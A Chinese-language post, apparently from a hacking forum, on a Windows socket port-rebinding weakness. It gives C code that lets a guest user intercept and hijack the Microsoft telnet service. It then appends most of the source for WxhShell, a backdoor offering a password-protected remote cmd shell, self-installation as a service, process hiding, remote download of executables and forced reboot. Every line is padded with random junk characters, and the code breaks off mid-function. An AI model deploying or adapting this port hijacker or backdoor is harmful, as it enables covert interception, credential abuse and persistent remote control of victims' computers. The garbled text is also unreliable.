在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$-gRD|oY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pzU:AUW 'JAe=K
H saddr.sin_family = AF_INET;
zZS,<Z d)0 hAdh saddr.sin_addr.s_addr = htonl(INADDR_ANY);
epP_~TU E,[v%Xw bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
D~,iI7ac TH+TcYqO 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
CDDEWVd s_6Iz^]I 这意味着什么?意味着可以进行如下的攻击:
H#QPcp@ GGFrV8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Sbj{) FOqD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Qe=eer~jI lsVg'k/Z! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
q{7+N1
" ] .c$(. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
qwo{34 ^0/!:*? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1["IT.,f. 'he&h4fm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x!UGLL]_M &tw{d DD6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dVBr-+ ;(LC{jY #include
lV?OYS|4i #include
ts=+k/Z #include
N ^H
H&~V #include
T7*p!0 DWORD WINAPI ClientThread(LPVOID lpParam);
wVUm!Y int main()
XMpE|M!c {
smX&B,&@ WORD wVersionRequested;
7] 17?s]t, DWORD ret;
WQHlf0] WSADATA wsaData;
vFK(Dx BOOL val;
SuA`F|7?P SOCKADDR_IN saddr;
1(4IcIR5T; SOCKADDR_IN scaddr;
N'8}5Kx5 int err;
I0sw/,J/Z SOCKET s;
8FBXdk?A SOCKET sc;
gR k+KGKn< int caddsize;
_"qX6Jc HANDLE mt;
,
ins/-3 DWORD tid;
h8HA^><Xr wVersionRequested = MAKEWORD( 2, 2 );
z4(Q.0x7 err = WSAStartup( wVersionRequested, &wsaData );
Xyw;Nh!!d if ( err != 0 ) {
)(`,!s,8) printf("error!WSAStartup failed!\n");
#:nds, return -1;
!^w}Sp }
e'dZ2;X$zo saddr.sin_family = AF_INET;
/x&52~X5- M\=/i\- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/^Zgv-n Fh ^Ax3P( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q7zHT=@$ saddr.sin_port = htons(23);
7XiR)jYo* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Tc;j)_C) {
G88g@Exk printf("error!socket failed!\n");
"@&I*1& return -1;
YGkk"gFIA }
~)!vhdBe val = TRUE;
9jrlB0 //SO_REUSEADDR选项就是可以实现端口重绑定的
IaRq6=[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-[>G@m:?e {
5i&+.?(Z= printf("error!setsockopt failed!\n");
WSV% Oy3V return -1;
~`VD}{[,B }
v ce1'aW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]q@W(\I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
MJ`BlE,Fmb //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zY\MzhkX, (k>I!Z/&2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
M!]g36h[ {
I#](mRJ6 ret=GetLastError();
gz`P~7-w: printf("error!bind failed!\n");
'U4@Sax, return -1;
G+jcR; s }
bOdyrynh listen(s,2);
%hb!1I while(1)
RhumNP<M {
<,(Ww caddsize = sizeof(scaddr);
yyuf //接受连接请求
X:gE
mcXc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
AO^c=^ if(sc!=INVALID_SOCKET)
nV?e(}D {
_iW-i mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
F$>^pw if(mt==NULL)
^+Stvj:N {
t+O7dZt%r printf("Thread Creat Failed!\n");
sqk$q pV6 break;
-hpMd/F }
1$rrfg }
7D wf0Re` CloseHandle(mt);
jxA*Gg3cT5 }
c^BeT; closesocket(s);
X5Ff2@."y| WSACleanup();
^[-3qi return 0;
\d"M&-O }
#kL4Rm; DWORD WINAPI ClientThread(LPVOID lpParam)
&oqzQ+H {
Km,:7#aV SOCKET ss = (SOCKET)lpParam;
St~a/Lq6 SOCKET sc;
`1)n2<B unsigned char buf[4096];
7%Ii:5Bp SOCKADDR_IN saddr;
(% f2ZNen long num;
uOnyU+fZV DWORD val;
+#0,2wR# DWORD ret;
&&{_T4 //如果是隐藏端口应用的话,可以在此处加一些判断
[[9XqD] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ao.v]6a saddr.sin_family = AF_INET;
nXcOFU saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
k6W
[// saddr.sin_port = htons(23);
ys$X!Ep if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F5;x>;r {
<ooRpn printf("error!socket failed!\n");
*[[TDduh& return -1;
V/i7Z h#2: }
vd!|k5t[d val = 100;
$Xr9<)?, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]{'lV~fc {
4?9cyv4H ret = GetLastError();
4+_r0 return -1;
dzwto; }
~V<62"G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G9i?yd4n=B {
Sej\Gt ret = GetLastError();
E;C=V2#>[ return -1;
>\c"U1%E }
+idp1SJ4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?.b.mkJ {
l:rT{l=8* printf("error!socket connect failed!\n");
a#:K"Mf. closesocket(sc);
"<I*ViZ closesocket(ss);
ISl-W1u} return -1;
]
cY }
$+.!(Js"K while(1)
J`x!c9 zg7 {
t|y`Bl2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$6p|}<u //如果是嗅探内容的话,可以再此处进行内容分析和记录
J`4{O:{4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
KF4}cM=.5 num = recv(ss,buf,4096,0);
V;-YM W if(num>0)
m^Xq<`e"< send(sc,buf,num,0);
ykbTWp$Y4Z else if(num==0)
Mee+bp break;
>rb8A6 num = recv(sc,buf,4096,0);
2pQdDbm if(num>0)
Jv9yy~ send(ss,buf,num,0);
Swg%[r=p= else if(num==0)
D,Jyb0BW break;
-YHyJs-bU }
lGAKHCs closesocket(ss);
/>\6_kT closesocket(sc);
K<Qy1y~[ return 0 ;
8f0Ytfhw }
4?)-;Hx_X t&99ZdE &;O)Dw ==========================================================
IrZ!.5%tV ;3H#8x- 下边附上一个代码,,WXhSHELL
p +>vX
X zgh~P^Z ==========================================================
Pwh0Se5Z 7v^V]&&s #include "stdafx.h"
#fR~7K R XY1eeB- #include <stdio.h>
nm597WeZp #include <string.h>
8hx 3pvmk #include <windows.h>
Rg?m$$X` #include <winsock2.h>
~9KxvQzt #include <winsvc.h>
1-M\K^F #include <urlmon.h>
\P` mV9P PRE\2lLY #pragma comment (lib, "Ws2_32.lib")
(]l}QR%Bxu #pragma comment (lib, "urlmon.lib")
6#rj3^] (ug^2WG
Yq #define MAX_USER 100 // 最大客户端连接数
Htu}M8/4 #define BUF_SOCK 200 // sock buffer
oTqv$IzqP #define KEY_BUFF 255 // 输入 buffer
)KPQ8y!d )D1=jD( #define REBOOT 0 // 重启
uNn]hl|x #define SHUTDOWN 1 // 关机
.}.63T$h9 5,<:|/r #define DEF_PORT 5000 // 监听端口
?Q XS? ucVn ` #define REG_LEN 16 // 注册表键长度
_(Qec?[^Ps #define SVC_LEN 80 // NT服务名长度
qrtA'fU WKB8k-.]ww // 从dll定义API
}dt7n65 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~3u'=u9l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
pl{Pur ;i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
BbqH02i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
P}Ud7Vil;l >(aGk{e1 // wxhshell配置信息
jg_##Oha struct WSCFG {
Kq*D_Rh2 int ws_port; // 监听端口
,ruL7|T& char ws_passstr[REG_LEN]; // 口令
&XnbZ&_ int ws_autoins; // 安装标记, 1=yes 0=no
&>.
w* char ws_regname[REG_LEN]; // 注册表键名
.s)z?31 char ws_svcname[REG_LEN]; // 服务名
jml
4YaG Z char ws_svcdisp[SVC_LEN]; // 服务显示名
5|E_ ,d!v char ws_svcdesc[SVC_LEN]; // 服务描述信息
c5t],P char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>pV|c\ int ws_downexe; // 下载执行标记, 1=yes 0=no
`zJTVi4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>sL"HyY#H char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e(NpX_8 U[Pll~m2b };
C
{GSf`D!T -`o22G3w // default Wxhshell configuration
?xbPdG":R struct WSCFG wscfg={DEF_PORT,
ma<+!*| "xuhuanlingzhe",
[e:mRMi 1,
[aK7v{Wu "Wxhshell",
Ew|VDD(. "Wxhshell",
_m+64qG_8' "WxhShell Service",
BrQXSN$i "Wrsky Windows CmdShell Service",
6H\apgHm "Please Input Your Password: ",
X~ AE?? 1,
'<35XjW "
http://www.wrsky.com/wxhshell.exe",
1~HR;cTv= "Wxhshell.exe"
}LaRa.3 };
J,bE[52 9ntXLWK7e // 消息定义模块
3 oG5E"G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Q'ok%9q!p char *msg_ws_prompt="\n\r? for help\n\r#>";
xgi/,Nk ' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
fA]b'8 char *msg_ws_ext="\n\rExit.";
)aOPR|+ char *msg_ws_end="\n\rQuit.";
HktvUJ(Ii char *msg_ws_boot="\n\rReboot...";
-|l^- Qf! char *msg_ws_poff="\n\rShutdown...";
Q[+o\{ O char *msg_ws_down="\n\rSave to ";
x-:a5Kz! `zjEs8`' char *msg_ws_err="\n\rErr!";
Q9`}dYf. char *msg_ws_ok="\n\rOK!";
]y:ez8RFPU q~^qf char ExeFile[MAX_PATH];
nbpGxUF`] int nUser = 0;
].j;d2xT\ HANDLE handles[MAX_USER];
m&H@f: int OsIsNt;
#sOkD Kug_0+gI SERVICE_STATUS serviceStatus;
Fnnk}I} SERVICE_STATUS_HANDLE hServiceStatusHandle;
pL{h1^O} J 1?)z+t9~ // 函数声明
PN!NB. int Install(void);
lJfn3 int Uninstall(void);
8}&O7zO? int DownloadFile(char *sURL, SOCKET wsh);
MMMuT^X int Boot(int flag);
<3wfY
#;>< void HideProc(void);
i U^tv_1 int GetOsVer(void);
<4gT8kQ$x int Wxhshell(SOCKET wsl);
.."= void TalkWithClient(void *cs);
D=w5Lks int CmdShell(SOCKET sock);
_oB!-# int StartFromService(void);
JO4rU-
n int StartWxhshell(LPSTR lpCmdLine);
?3Ytn+Py =+T$1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Qz+hS\yx VOID WINAPI NTServiceHandler( DWORD fdwControl );
pV>M,f s/,wyxKd // 数据结构和表定义
kAF[K,GG SERVICE_TABLE_ENTRY DispatchTable[] =
e%(,)WlTaU {
|z!Y,zaX {wscfg.ws_svcname, NTServiceMain},
3J2j5N:g {NULL, NULL}
l@x/{0 };
,Qgxf';+$ >Jl(9)e // 自我安装
Ix;9D'^} int Install(void)
q
F\a]e {
f_*Bd.@ char svExeFile[MAX_PATH];
1N#KVvK HKEY key;
~Bll\3-= strcpy(svExeFile,ExeFile);
B cMgfa/ %"2;i@ // 如果是win9x系统,修改注册表设为自启动
: GZx- if(!OsIsNt) {
VpDNp
(2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
73kF=*m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,;aELhMZ RegCloseKey(key);
*(%]|z}]m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
87Sqs1>cw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cr{;gP RegCloseKey(key);
E,]G Ek return 0;
9'tElpDJ6# }
;+%(@C51GE }
zCvt"!}RRa }
n+Ia@$|m else {
nM+( "t4$%7L] // 如果是NT以上系统,安装为系统服务
k^
CFu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
eIzT(3( if (schSCManager!=0)
|U*wMYC {
X~DI d SC_HANDLE schService = CreateService
"v
@h (
SH"e x,= schSCManager,
Iv6(Z>pAB wscfg.ws_svcname,
os<B}D[ wscfg.ws_svcdisp,
qSRE)C=) SERVICE_ALL_ACCESS,
(x{6N^J.t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
RR u1/nam SERVICE_AUTO_START,
RT2%)5s SERVICE_ERROR_NORMAL,
/bE=]nM svExeFile,
>tf y\P Y: NULL,
%!5[3b'h NULL,
i1qhe?5 NULL,
jG"n);WF NULL,
I`?6>Z+%) NULL
?U~9d"2= );
<P)vx if (schService!=0)
#$&!)13 {
k_p4 f %9 CloseServiceHandle(schService);
|[ymNG CloseServiceHandle(schSCManager);
*_
2db strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
D<=:9 strcat(svExeFile,wscfg.ws_svcname);
)z'LXy8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|K(j}^1k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Q+
r4 RegCloseKey(key);
1(z&0Y ; return 0;
t(-`==.R }
_ lrCf }
>wiW(Ki} CloseServiceHandle(schSCManager);
A
%iZ_h^ }
~yQby&s }
N? r{Y$x |!VSed#FSn return 1;
`GsFvxz }
EV}c,*);y "*E#4e[ // 自我卸载
Rf)lFi int Uninstall(void)
*.X!AJ;M=O {
P4xQ:$2! HKEY key;
? Xb8B5 j]uL9\> if(!OsIsNt) {
|{ E\ 2U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M_wqb'= RegDeleteValue(key,wscfg.ws_regname);
cO9aT RegCloseKey(key);
_`4jzJ* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Pqe{C?7B RegDeleteValue(key,wscfg.ws_regname);
;Kq/[$~0 RegCloseKey(key);
C-Q]f return 0;
>7yOu!l }
YGRv` `( }
D^+#RR'#, }
B3Id}[V else {
5l"/lGw W`}C0[%VW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@D<q=:k if (schSCManager!=0)
%A@Q %l6 {
XH_XGzBQS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5$kv,%ah if (schService!=0)
~NYy@l {
1Ner1EKGp if(DeleteService(schService)!=0) {
a1lF8; [ CloseServiceHandle(schService);
}cov"o CloseServiceHandle(schSCManager);
}}AooziH9 return 0;
aJ[K' 5| }
3z^l CloseServiceHandle(schService);
Ij +
E/V }
4CR.= CloseServiceHandle(schSCManager);
JI{|8)S }
. zM }
rQ0V3x1"Qx y6.Q\= return 1;
>heFdKq1 }
K8,fw-S% m'|{AjH
z6 // 从指定url下载文件
u="VJ3 int DownloadFile(char *sURL, SOCKET wsh)
vWbf5? {
Ne^md HRESULT hr;
%O$4da"y char seps[]= "/";
u`Ew^-"> char *token;
dl:uI5] char *file;
EeW %5/; char myURL[MAX_PATH];
4%h@K(iN char myFILE[MAX_PATH];
qT(
3M9! }Wxu =b strcpy(myURL,sURL);
<t9#~x#'b token=strtok(myURL,seps);
c< ke)@ while(token!=NULL)
`4Jlf! {
d|UK=B^x file=token;
Za+26#g token=strtok(NULL,seps);
-"u9s[L{ }
; Drt4fOxX -p|@En n GetCurrentDirectory(MAX_PATH,myFILE);
577H{;pW strcat(myFILE, "\\");
/ESmQc:DWB strcat(myFILE, file);
<"|BuK send(wsh,myFILE,strlen(myFILE),0);
~HbZRDcJc send(wsh,"...",3,0);
6qsT/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
JJL#Y if(hr==S_OK)
FKU$HQw* return 0;
[[{y?-U else
tx=~bm"*? return 1;
xngK_n ;x.xj/7 }
sxq'uF(K '%&i#Eb // 系统电源模块
<a@'Pcsk int Boot(int flag)
;U6z|O7L {
1-.UkdZ} HANDLE hToken;
X|Gsf=
1S TOKEN_PRIVILEGES tkp;
e<_p\LiOS -\mbrbG9H if(OsIsNt) {
3c<).aC0f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Y|bCbaF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:-x F=Y(; tkp.PrivilegeCount = 1;
L&td4`2y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]|cL+|':y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!(=bH"P if(flag==REBOOT) {
b[<Q_7~2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
U0}]3a0 return 0;
4%#C _pE9 }
:cv_G;? else {
C^]y
iR-U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E}S)uI,gn return 0;
H]a; <V9[ }
&M$s@FUY }
O9>&E;`5 else {
ve.rpF\ if(flag==REBOOT) {
[ Fid if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o,a3J:j] return 0;
9OYsI }
g0-hN%=6 else {
_1w?nN' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2J;h}/!H return 0;
K-VNU }
MH{$"^K }
}a= &o6= k8E'wN return 1;
ZRYs7 4< }
uVJ;1H! $Bd{Y"P@6 // win9x进程隐藏模块
9)={p9FZY void HideProc(void)
I>X _j) {
Z2d,J>- $_,?SXM HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
SdF*"]t if ( hKernel != NULL )
so h3d {
Fxwe, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'\ec ,&4Z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
"y@B| FreeLibrary(hKernel);
|sWH!:]49 }
"7_6iB&@<
yE3g0@* return;
mO$]f4} }
&E.ckWf
JwR]! // 获取操作系统版本
Q8.SD p int GetOsVer(void)
Q5'DV!0aSv {
6AgevyVG OSVERSIONINFO winfo;
BwO^F^Pr?k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
f`@$saFD GetVersionEx(&winfo);
^`
N+mlh if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
BR5r K return 1;
)cc:Z7p else
:4|W;Lkd! return 0;
gD0O7KO }
d)m+Hc. .{as"h-.O // 客户端句柄模块
4}B9y3W:v int Wxhshell(SOCKET wsl)
7_>No*[ {
(JS1}T SOCKET wsh;
X)iQ){21V struct sockaddr_in client;
(xffU%C^ DWORD myID;
_uL{@( )+2GF0% while(nUser<MAX_USER)
?[Xv(60] {
j["b*X`8G int nSize=sizeof(client);
>jU.R;H5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
w|?<;+ if(wsh==INVALID_SOCKET) return 1;
{f]K3V O:'UsI1Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
lb3: #? if(handles[nUser]==0)
L{xCsJ3d closesocket(wsh);
}9[E+8L1 else
\4y7! nUser++;
wowv>!N!X- }
p(/PG+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
F8S -H" Gz;.?=&iF return 0;
+Ze HZjd }
'Dyt"wfo S0C
7'H%?# // 关闭 socket
7c|8>zES:E void CloseIt(SOCKET wsh)
gV]]?X& {
1t{h)fwi closesocket(wsh);
e_6VPVa nUser--;
(i4=}Kn2 ExitThread(0);
.XR`iXY }
&VtTUy} !P7&{I,e // 客户端请求句柄
cOa.]Kk void TalkWithClient(void *cs)
Wi_5.= {
B'\^[ 5I9~OJ> SOCKET wsh=(SOCKET)cs;
wS"[m>.{v char pwd[SVC_LEN];
hmJ{'D1" char cmd[KEY_BUFF];
&U:bRzD char chr[1];
:lQl;Q -e int i,j;
jt-Cy P]A>"-k while (nUser < MAX_USER) {
-?gr3rV@ lNuZg9h if(wscfg.ws_passstr) {
*Iv.W7 [ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Gv(bD6Rz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.ky(( //ZeroMemory(pwd,KEY_BUFF);
z+5l:f i=0;
~[bS+]d! while(i<SVC_LEN) {
i{zg{$ U Dpp3]en. // 设置超时
w7NJ~iy fd_set FdRead;
ed$g=qs> struct timeval TimeOut;
kylR) FD_ZERO(&FdRead);
7:x%^J+ FD_SET(wsh,&FdRead);
.8[B
}S( TimeOut.tv_sec=8;
')%Kv`hz TimeOut.tv_usec=0;
sr%tEKba) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
"TB4w2?= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+-~hl ],vUW#6$N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6B
4Sd pwd
=chr[0]; >}{'{
Z
&
if(chr[0]==0xd || chr[0]==0xa) { g'G% BX
pwd=0; !<\"XxK+l
break; @cNBY7=
} Cw1Jl5OVZ
i++; (.TkvUj`
} -#srn1A>
[V'3/#Z
// 如果是非法用户,关闭 socket tpw0j
CVu
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &>kklP
} #;GIvfW
/rp.H'hC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UO(B>Abp
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MJ^NRT0?b
5|2v6W!e
while(1) { [9S\3&yoh
No8 ~~
ZeroMemory(cmd,KEY_BUFF); PGZ .\i
-'&4No
// 自动支持客户端 telnet标准 Ezw(J[).C
j=0; x 9}D2Ui
while(j<KEY_BUFF) { :<Z*WoEmt
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n|`L>@aw,
cmd[j]=chr[0]; K$_ Rno"
if(chr[0]==0xa || chr[0]==0xd) { W70J2
cmd[j]=0; #q. Q tDz
break; gbNPD*7g9
} n]I_LlbY
j++; Fhw:@@=
} P7r?rbO"
`c@KlL*!Q
// 下载文件 c`~aiC`l
if(strstr(cmd,"http://")) { Qd"{2>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); m[&]#K6
if(DownloadFile(cmd,wsh)) G4g<PFx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m)4s4P57y
else .m_yx{FZ=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Gm,lNQ Av
} envu}4wU=e
else { 4Fhiac
L12m ;
switch(cmd[0]) { `=b)fE
^L}fj$
// 帮助 O)C
y4[
case '?': { -.ITcDg
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b%>vhj&F
break; >Ya+#j~CZ
} Ijq',@jE
// 安装 H|>dF)%pj
case 'i': { q)R&npP7
if(Install()) `[\*1GpAo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NyU~8?bp
else j~!0n[F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3c] oU1GfF
break; .zr2!}lB
} \wR bhN
// 卸载 B6r~4=w_
case 'r': { X}b%gblx
if(Uninstall()) Q`ERI5b6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c]jK
Y<
else q,-bw2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xEtzqP<]
break; 3DRbCKNL
} tj 6 #lM9
// 显示 wxhshell 所在路径 ^G'8!!ys
case 'p': { qH'T~#S
char svExeFile[MAX_PATH]; a>A29*q
strcpy(svExeFile,"\n\r"); !`S?
strcat(svExeFile,ExeFile); |,CWk|G
send(wsh,svExeFile,strlen(svExeFile),0); ?,e7v.b
break; c"R`7P
} eaP,MkK&
// 重启 Bv,u kQ\CH
case 'b': { _ +Ww1f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,[enGw
if(Boot(REBOOT)) [O*5\&6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? _36uJo}
else { "e62g
closesocket(wsh); NYtp&[s2-
ExitThread(0); s>d@=P>R
} 5|YpkY
break; dn/0>|5OF(
} e$>.x<
Eq
// 关机 _YzItge*
case 'd': { 9d{iq"*R
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %RA8M-
d
if(Boot(SHUTDOWN)) N@J "~9T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.O,P'k
else { [eL?O;@BD
closesocket(wsh); K~"uZa^s
ExitThread(0); Q#NXJvI
} B0I(/ 7
break; 6wH]W+A
}
x,YC/J
// 获取shell A-<\?13uW
case 's': { CuRYtY@9
CmdShell(wsh); r@L19d)J
closesocket(wsh); Q?Vq/3K;
ExitThread(0); +')\,m "z
break; Sz4YPl
} )70-q yA
// 退出 `*nVLtT Y
case 'x': { D?~`L[}I!}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 82#7TX4
CloseIt(wsh); :lz@G4=C
break; KP"
lz
} <a%9d<@m
// 离开 v <1d3G=G
case 'q': { ~oO>6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); xaQ]Vjw
closesocket(wsh); ("UcjB^62
WSACleanup(); "w]
Bq0
exit(1); R,[dEP
break; "PH}\Dl=
} &Ji!*~sE
} dWV.5cViP
} +{Yd\{9
[#$: X+lw
// 提示信息 ?)<DEu:Y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^(7<L<H
} y]$%>N0vLX
} V+My]9ki
rvjPm5[t
return; dH"wYMNL
} ?&?gQ#\N_J
Hq'mv_}qG
// shell模块句柄 ( 0/g)gW
int CmdShell(SOCKET sock) %>^CD_[eO
{ 0NlC|5ma)
STARTUPINFO si; LAqmM3{fA
ZeroMemory(&si,sizeof(si)); =Tv;?U C
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~/LO @
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :tclYX
PROCESS_INFORMATION ProcessInfo; 5.!iVyN
char cmdline[]="cmd"; `7<4]#b^o
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "w}}q>P+sA
return 0; ? pq#|PI)
} ^PDz"L<*
RGd@3OjN
// 自身启动模式 aOZSX3;wg
int StartFromService(void) {RFpTh7f:
{ %5<uQc9
typedef struct ]hY'A>4Uq
{ ?;NC(Z,
DWORD ExitStatus; 9UlR fl
DWORD PebBaseAddress; AwrW!)n}
